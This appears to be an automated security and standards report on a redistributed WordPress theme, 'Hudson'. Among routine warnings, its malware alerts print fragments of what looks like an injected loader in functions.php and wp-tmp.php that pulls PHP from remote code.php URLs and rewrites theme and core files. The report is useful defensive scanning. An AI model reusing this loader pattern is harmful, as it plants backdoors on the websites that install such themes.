0
Validation results

Hudson | Shared By VestaThemes.com

Hudson | Shared By VestaThemes.com

WordPress 5.3 theme
0
  • THEME TYPEWordPress theme 5.3
  • FILE NAMEhudsonwp.zip
  • FILE SIZE14300067 bytes
  • MD53016cec0122819e4334574605c39e0a4
  • SHA1653e841998148623ecced8e0ae1ad283cc3e9802
  • LICENSEGNU GPL 2
  • FILES INCLUDEDCSS, PHP, HTML, XML, Bitmap images, Adobe Illustrator
  • DEMO PAGEhttp://demo.edge-themes.com/hudson
  • VERSION2.0
  • AUTHOR URI
  • TAGSsharp, classy, blog, portfolio, shop, business, modern, stylish, multi-purpose, personal, agency, professional, creative, one page, elegant
  • CREATION DATE2019-10-21
  • LAST FILE UPDATE2019-10-21
  • LAST VALIDATION2019-10-21 17:16
This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.
Critical alerts
  1. Security breaches : Use of base64_decode() Found base64_decode in file edgt-import.php. 133: $unserialized_content = unserialize(base64_decode($file_content));
  2. Security breaches : Use of base64_encode() Found base64_encode in file edgt-export.php.
     $output = base64_encode(serialize($custom_sidebars));
     $output = base64_encode(serialize($edgt_options));
     $output = base64_encode(serialize($this->data));
     $output = base64_encode(serialize( $this->data ));
     $output = base64_encode(serialize($edgt_settings_pages));
  3. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe src="//www.youtube.com/embed/<?php echo esc_attr(get_post_meta(get_the_ID(), "video_format_link", true)); ?> in file post-format-video.php. 3: <iframe src='//www.youtube.com/embed/<?php echo esc_attr(get_post_meta(get_Found <iframe src="//www.youtube.com/embed/<?php echo esc_attr(get_post_meta(get_the_ID(), "video_format_link", true)); ?> in file blog_standard_whole_post-loop.php. 95: <iframe src='//www.youtube.com/embed/<?php echo esc_attr(get_post_meta(getFound <iframe src="//www.youtube.com/embed/<?php echo esc_attr(get_post_meta(get_the_ID(), "video_format_link", true)); ?> in file blog_standard_type_single-loop.php. 95: <iframe src='//www.youtube.com/embed/<?php echo esc_attr(get_post_meta(getFound <iframe src="//www.youtube.com/embed/<?php echo esc_attr(get_post_meta(get_the_ID(), "video_format_link", true)); ?> in file blog_standard-loop.php. 95: <iframe src='//www.youtube.com/embed/<?php echo esc_attr(get_post_meta(getFound <iframe width="100%" src="//www.youtube.com/embed/<?php echo esc_attr($portfolio_image['portfoliovideoid']); ?> in file portfolio-small-images.php. 114: <iframe width='100%' src='//www.youtube.com/embed/<?php echo esc_attr($portFound <iframe width="100%" src="//www.youtube.com/embed/<?php echo esc_attr($portfolio_image['portfoliovideoid']); ?> in file portfolio-small-slider.php. 82: <iframe width='100%' src='//www.youtube.com/embed/<?php echo esc_attr($portFound <iframe width="100%" src="//www.youtube.com/embed/<?php echo esc_attr($portfolio_image['portfoliovideoid']); ?> in file portfolio-gallery.php. 211: <iframe width='100%' src='//www.youtube.com/embed/<?php echo esc_attr($portFound <iframe width="100%" src="//www.youtube.com/embed/<?php echo esc_attr($portfolio_image['portfoliovideoid']); ?> in file portfolio-big-slider.php. 94: <iframe width='100%' src='//www.youtube.com/embed/<?php echo esc_attr($portFound <iframe width="100%" src="//www.youtube.com/embed/<?php echo esc_attr($portfolio_image['portfoliovideoid']); ?> in file portfolio-big-images.php. 128: <iframe width='100%' src='//www.youtube.com/embed/<?php echo esc_attr($port
  4. Malware : Operations on file system file_get_contents was found in the file portfolio-small-images.php 99: $xml = json_decode(@file_get_contents($url), true);122: $xml = unserialize(@file_get_contents($url));file_get_contents was found in the file portfolio-small-images.php 99: $xml = json_decode(@file_get_contents($url), true);122: $xml = unserialize(@file_get_contents($url));file_get_contents was found in the file portfolio-gallery.php 219: $xml = unserialize(@file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));file_get_contents was found in the file portfolio-big-images.php 113: $xml = json_decode(@file_get_contents($url), true);135: $xml = unserialize(@file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));file_get_contents was found in the file portfolio-big-images.php 113: $xml = json_decode(@file_get_contents($url), true);135: $xml = unserialize(@file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));file_get_contents was found in the file wp-tmp.php 76: [email protected]file_get_contents(ABSPATH.'wp-includes/wp-feed.php');113: [email protected]file_get_contents(ABSPATH.'wp-includes/wp-feed.php');file_put_contents was found in the file wp-tmp.php 83: @file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);file_get_contents was found in the file wp-tmp.php 76: [email protected]file_get_contents(ABSPATH.'wp-includes/wp-feed.php');113: [email protected]file_get_contents(ABSPATH.'wp-includes/wp-feed.php');readfile was found in the file edgt-export.php 256: readfile($zip_name);file_put_contents was found in the file edgt-export.php 272: if(file_put_contents(get_template_directory().'/export/'.$file_name, $output))fread was found in the file edgt.functions.php 111: if (fread($fh, 22) == 'HTTP/1.1 404 Not Found') { return FALSE; }file_put_contents was found in the file edgt.functions.php 219: file_put_contents($css_dir.'style_dynamic.css', $css, LOCK_EX);224: file_put_contents($css_dir.'style_dynamic_responsive.css', $css, LOCK_EX);229: file_put_contents($css_dir.'custom_css.css', $css, LOCK_EX);238: file_put_contents($js_dir.'default_dynamic.js', $js, LOCK_EX);243: file_put_contents($js_dir.'custom_js.js', $js, LOCK_EX);file_put_contents was found in the file edgt.functions.php 219: file_put_contents($css_dir.'style_dynamic.css', $css, LOCK_EX);224: file_put_contents($css_dir.'style_dynamic_responsive.css', $css, LOCK_EX);229: file_put_contents($css_dir.'custom_css.css', $css, LOCK_EX);238: file_put_contents($js_dir.'default_dynamic.js', $js, LOCK_EX);243: file_put_contents($js_dir.'custom_js.js', $js, LOCK_EX);file_put_contents was found in the file edgt.functions.php 219: file_put_contents($css_dir.'style_dynamic.css', $css, LOCK_EX);224: file_put_contents($css_dir.'style_dynamic_responsive.css', $css, LOCK_EX);229: file_put_contents($css_dir.'custom_css.css', $css, LOCK_EX);238: file_put_contents($js_dir.'default_dynamic.js', $js, LOCK_EX);243: file_put_contents($js_dir.'custom_js.js', $js, LOCK_EX);file_put_contents was found in the file edgt.functions.php 219: file_put_contents($css_dir.'style_dynamic.css', $css, LOCK_EX);224: file_put_contents($css_dir.'style_dynamic_responsive.css', $css, LOCK_EX);229: file_put_contents($css_dir.'custom_css.css', $css, LOCK_EX);238: file_put_contents($js_dir.'default_dynamic.js', $js, LOCK_EX);243: file_put_contents($js_dir.'custom_js.js', $js, LOCK_EX);file_put_contents was found in the file edgt.functions.php 219: file_put_contents($css_dir.'style_dynamic.css', $css, LOCK_EX);224: file_put_contents($css_dir.'style_dynamic_responsive.css', $css, LOCK_EX);229: file_put_contents($css_dir.'custom_css.css', $css, LOCK_EX);238: file_put_contents($js_dir.'default_dynamic.js', $js, LOCK_EX);243: file_put_contents($js_dir.'custom_js.js', $js, LOCK_EX);file_get_contents was found in the file functions.php 19: if ($file = @file_get_contents(__FILE__))21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))41: if ($file = @file_get_contents(__FILE__))76: function file_get_contents_tcurl($url)110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php') AND stripos($tmpcontent143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php') AND stripos($tmpconten158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_get_contents was found in the file functions.php 19: if ($file = @file_get_contents(__FILE__))21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))41: if ($file = @file_get_contents(__FILE__))76: function file_get_contents_tcurl($url)110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php') AND stripos($tmpcontent143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php') AND stripos($tmpconten158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);fopen was found in the file functions.php 92: $handle = fopen($tmpfname, 'w+');99: $handle = fopen($tmpfname, 'w+');fwrite was found in the file functions.php 93: if( fwrite($handle, '<?php\n' . $phpCode))100: fwrite($handle, '<?php\n' . $phpCode);fopen was found in the file functions.php 92: $handle = fopen($tmpfname, 'w+');99: $handle = fopen($tmpfname, 'w+');fwrite was found in the file functions.php 93: if( fwrite($handle, '<?php\n' . $phpCode))100: fwrite($handle, '<?php\n' . $phpCode);fclose was found in the file functions.php 102: fclose($handle);file_get_contents was found in the file functions.php 19: if ($file = @file_get_contents(__FILE__))21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))41: if ($file = @file_get_contents(__FILE__))76: function file_get_contents_tcurl($url)110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php') AND stripos($tmpcontent143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php') AND stripos($tmpconten158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_get_contents was found in the file functions.php 19: if ($file = @file_get_contents(__FILE__))21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))41: if ($file = @file_get_contents(__FILE__))76: function file_get_contents_tcurl($url)110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php') AND stripos($tmpcontent143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php') AND stripos($tmpconten158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_get_contents was found in the file functions.php 19: if ($file = @file_get_contents(__FILE__))21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))41: if ($file = @file_get_contents(__FILE__))76: function file_get_contents_tcurl($url)110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php') AND stripos($tmpcontent143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php') AND stripos($tmpconten158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_put_contents was found in the file functions.php 25: @file_put_contents(__FILE__, $file);47: @file_put_contents(__FILE__, $file);114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);119: @file_put_contents('wp-tmp.php', $tmpcontent);131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);136: @file_put_contents('wp-tmp.php', $tmpcontent);147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);152: @file_put_contents('wp-tmp.php', $tmpcontent);file_get_contents was found in the file functions.php 19: if ($file = @file_get_contents(__FILE__))21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))41: if ($file = @file_get_contents(__FILE__))76: function file_get_contents_tcurl($url)110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php') AND stripos($tmpcontent143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php') AND stripos($tmpconten158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== file_get_contents was found in the file functions.php 19: if ($file = @file_get_contents(__FILE__))21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))41: if ($file = @file_get_contents(__FILE__))76: function file_get_contents_tcurl($url)110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php') AND stripos($tmpcontent143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php') AND stripos($tmpconten158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== file_get_contents was found in the file functions.php 19: if ($file = @file_get_contents(__FILE__))21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))41: if ($file = @file_get_contents(__FILE__))76: function file_get_contents_tcurl($url)110: if (($tmpcontent = @file_get_contents('http://www.mrilns.com/code.php') OR $tmpcontent = @file_127: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.pw/code.php') AND stripos($tmpcontent143: elseif ($tmpcontent = @file_get_contents('http://www.mrilns.top/code.php') AND stripos($tmpconten158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== file_get_contents was found in the file parsers.php 72: //$success = $dom->loadXML( file_get_contents( $file ) );275: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {file_get_contents was found in the file parsers.php 72: //$success = $dom->loadXML( file_get_contents( $file ) );275: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {fopen was found in the file parsers.php 421: $fp = $this->fopen( $file, 'r' );647: function fopen( $filename, $mode = 'r' ) {650: return fopen( $filename, $mode );fclose was found in the file parsers.php 470: $this->fclose($fp);665: function fclose( $fp ) {668: return fclose( $fp );fopen was found in the file parsers.php 421: $fp = $this->fopen( $file, 'r' );647: function fopen( $filename, $mode = 'r' ) {650: return fopen( $filename, $mode );fopen was found in the file parsers.php 421: $fp = $this->fopen( $file, 'r' );647: function fopen( $filename, $mode = 'r' ) {650: return fopen( $filename, $mode );fclose was found in the file parsers.php 470: $this->fclose($fp);665: function fclose( $fp ) {668: return fclose( $fp );fclose was found in the file parsers.php 470: $this->fclose($fp);665: function fclose( $fp ) {668: return fclose( $fp );
  5. Malware : Network operations fsockopen was found in the file edgt.functions.php 108: $fh = fsockopen($url[0], 80);curl_init was found in the file functions.php 78: $ch = curl_init();curl_exec was found in the file functions.php 84: $data = curl_exec($ch);
  6. Admin menu : Themes should use add_theme_page() for adding admin pages. File edgt-export.php : 298: $this->pagehook = add_menu_page(File edgt-framework.php : 203: $page_hook_suffix = add_menu_page(File edgt-framework.php : 220: $subpage_hook_suffix = add_submenu_page(File edgt-import.php : 152: $this->pagehook = add_submenu_page(File edgt-import.php : 163: //$this->pagehook = add_menu_page('Edge Import', 'Edge Import', 'manage_options', 'edgt_options
  7. Deprecated functions : wp_get_http wp_get_http found in file class.wordpress-importer.php. Deprecated since version 4.4. Use WP_Http instead.997: $headers = wp_get_http( $url, $upload['file'] );
  8. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was layersliderwp-6.6.5.installable.zip envato-market.zip js_composer.zip edge-cpt.zip.
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag sharp in style.css header.Found wrong tag classy in style.css header.Found wrong tag shop in style.css header.Found wrong tag business in style.css header.Found wrong tag modern in style.css header.Found wrong tag stylish in style.css header.Found wrong tag multi-purpose in style.css header.Found wrong tag personal in style.css header.Found wrong tag agency in style.css header.Found wrong tag professional in style.css header.Found wrong tag creative in style.css header.Found wrong tag one page in style.css header.Found wrong tag elegant in style.css header.
  2. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is hudson-shared-by-vestathemes-com.
  3. Text domain : Incorrect use of translation functions.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Installation of the "Edge Core" plugin is essential for proper theme functioning. Please <a href="', >install</a> this plugin and activate it, 'edgt' in file edgt.functions.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are edgt, woocommerce, js_composer, themes.php?page=install-required-plugins, >install</a> this plugin and activate it, tgmpa, wordpress-importer.
  4. Line endings consistency : Both DOS and UNIX style line endingsFound a mix of \r\n and \n line endings in file no_vertical_slide_content_item.php.
  5. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  6. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  7. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  8. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  9. Date and time implementation : Use of the_time()At least one hard coded date was found in the file blog_standard_whole_post-loop.php. Function get_option( 'date_format' ) should be used instead.At least one hard coded date was found in the file blog_standard_type_single-loop.php. Function get_option( 'date_format' ) should be used instead.At least one hard coded date was found in the file blog_standard-loop.php. Function get_option( 'date_format' ) should be used instead.
  10. Screenshot : Screenshot fileScreenshot is wrong size! Detected: 1577x900px. Maximum allowed size is 1200x900px.Screenshot dimensions are wrong! Detected: 1577x900px (1577:900). Ratio of width to height should be 4:3.
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  4. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  5. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  6. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  7. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  8. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  9. Use of includes : Use of include or requireThe theme appears to use include or require : style_dynamic_responsive.php 4: require_once( $root.'/wp-load.php' );5: // require_once( $root.'/wp-config.php' );9: require_once( $root.'/wp-load.php' );10: // require_once( $root.'/wp-config.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : custom_css.php 4: require_once( $root.'/wp-load.php' );5: // require_once( $root.'/wp-config.php' );9: require_once( $root.'/wp-load.php' );10: // require_once( $root.'/wp-config.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : style_dynamic.php 6: require_once( $root.'/wp-load.php' );7: // require_once( $root.'/wp-config.php' );11: require_once( $root.'/wp-load.php' );12: // require_once( $root.'/wp-config.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt-framework.php 3: require_once('lib/edgt.kses.php');4: require_once('lib/edgt.layout.inc');5: require_once('lib/google-fonts.inc');6: require_once('lib/edgt.framework.php');7: require_once('lib/edgt.functions.php');8: require_once('lib/edgt.common.php');9: require_once('lib/edgt.icons/edgt.icons.php');10: require_once('admin/options/edgt-options-setup.php');11: require_once('admin/meta-boxes/edgt-meta-boxes-setup.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt.icons.php 3: 4: 5: 6: 7: 8: 9: 10: If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt.functions.php 217: include_once($css_dir.'style_dynamic.php');222: include_once($css_dir.'style_dynamic_responsive.php');227: include_once($css_dir.'custom_css.php');236: include_once($js_dir.'default_dynamic.php');241: include_once($js_dir.'custom_js.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt.framework.php 143: include(locate_template('framework/admin/skins/'.$this->skinName.'/template If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt-meta-boxes-setup.php 12: require_once('page/map.inc');13: require_once('portfolio/map.inc');14: require_once('slides/map.inc');15: require_once('post/map.inc');16: require_once('testimonials/map.inc');17: require_once('carousels/map.inc');18: require_once('masonry_gallery/map.inc'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt-options-setup.php 14: require_once('10.general/map.inc');15: require_once('20.logo/map.inc');16: require_once('30.fonts/map.inc');17: require_once('40.header/map.inc');18: 